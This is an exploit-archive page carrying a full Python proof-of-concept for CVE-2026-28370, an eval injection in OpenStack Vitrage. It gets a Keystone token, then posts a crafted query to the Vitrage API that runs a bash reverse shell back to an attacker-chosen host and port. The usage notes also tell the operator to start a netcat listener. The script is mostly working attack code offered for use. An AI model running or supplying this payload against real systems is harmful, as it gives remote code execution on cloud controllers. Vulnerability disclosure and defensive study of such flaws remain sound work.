OpenStack Vitrage < 12.0.1 / 13.0.1 Eval Injection Remote Code Execution

#!/usr/bin/env python3 # Exploit Title: OpenStack Vitrage < 12.0.1 / 13.0.1 Eval Injection Remote Code Execution # CVE: CVE-2026-28370 # Date: 2026-02-27 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://www.openstack.org/ # Software Link: https://opendev.org/openstack/vitrage # Affected: OpenStack Vitrage < 12.0.1 / 13.0.1 (vulnerable versions) # Tested on: OpenStack with Vitrage (pre-patch) # Category: Remote Code Execution # Platform: Linux # Exploit Type: Remote # CVSS: 9.1 (CRITICAL) # CWE: CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code) # Description: Unauthenticated user input in Vitrage query expression leads to arbitrary Python code execution via eval() # Fixed in: Patched in Vitrage stable branches after Feb 2026 security release # Usage: # python3 exploit.py <vitrage-api-url> --username <user> --password <pass> --project <project> --lhost <your_ip> --lport <your_port> # # Examples: # python3 exploit.py http://controller:8999 --username admin --password secret --project admin --lhost 192.168.1.100 --lport 4444 # # Options: # --username OpenStack username with Vitrage access # --password Password # --project Project name # --lhost Listener IP for reverse shell # --lport Listener port # # Notes: # - Requires valid OpenStack credentials (high privileges in Vitrage context) # - Payload spawns reverse shell using bash # # How to Use # # Step 1: Start a listener (e.g. nc -lvnp 4444) # Step 2: Run the exploit with correct credentials and network details import sys import argparse import requests from keystoneauth1 import session from keystoneauth1.identity import v3 print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ▄▄▄▄· ▄▄ ▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║ ║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║ ║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║ ║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║ ║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║ ║ ║ ║ b a n y a m e r _ s e c u r i t y ║ ║ ║ ║ >>> Silent Hunter • Shadow Presence <<< ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ CVE-2026-28370 • OpenStack Vitrage Eval Injection ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) def parse_args(): parser = argparse.ArgumentParser(description="CVE-2026-28370 OpenStack Vitrage RCE") parser.add_argument("target", help="Vitrage API base URL (e.g. http://controller:8999)") parser.add_argument("--username", required=True, help="Keystone username") parser.add_argument("--password", required=True, help="Keystone password") parser.add_argument("--project", required=True, help="Keystone project name") parser.add_argument("--lhost", required=True, help="Listener IP") parser.add_argument("--lport", required=True, help="Listener port") parser.add_argument("--keystone", default=None, help="Keystone auth URL (default: target:5000/v3)") return parser.parse_args() def get_token(args): keystone_url = args.keystone or f"{args.target.rstrip('/')}/../keystone/v3".replace("8999", "5000") auth = v3.Password( auth_url=keystone_url, username=args.username, password=args.password, project_name=args.project, user_domain_name="Default", project_domain_name="Default" ) sess = session.Session(auth=auth) return sess.get_token(auth) def exploit(args): token = get_token(args) headers = { "X-Auth-Token": token, "Content-Type": "application/json", "Accept": "application/json" } payload = ( f"__import__('socket,subprocess,os').__dict__['popen'](" f"'/bin/bash -c \\\"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1\\\"'" f").wait()" ) exploit_data = { "query": f"lambda x: {payload}" } url = f"{args.target.rstrip('/')}/v1/query" print(f"[*] Target: {args.target}") print(f"[*] Sending reverse shell payload to {url}") print(f"[*] Listener: {args.lhost}:{args.lport}") try: r = requests.post(url, json=exploit_data, headers=headers, verify=False, timeout=20) print(f"[+] Status: {r.status_code}") if r.status_code in (200, 202, 204): print("[+] Payload delivered — check your listener for connection") else: print(f"[-] Failed — response: {r.text[:300]}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) == 1: print("Error: Missing arguments. Use --help for usage.") sys.exit(1) args = parse_args() exploit(args)

Referencje:

https://nvd.nist.gov/vuln/detail/CVE-2026-28370
https://storyboard.openstack.org/#!/story/2011539
(OpenStack advisory, exploit tracking, vendor advisory)
https://github.com/openstack/vitrage/blob/a1f86950e1314b0c740f9cd9b7e9dbab7d02af51/vitrage/graph/query.py#L70
(vulnerable line reference)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2026, cxsecurity.com

 

Back to Top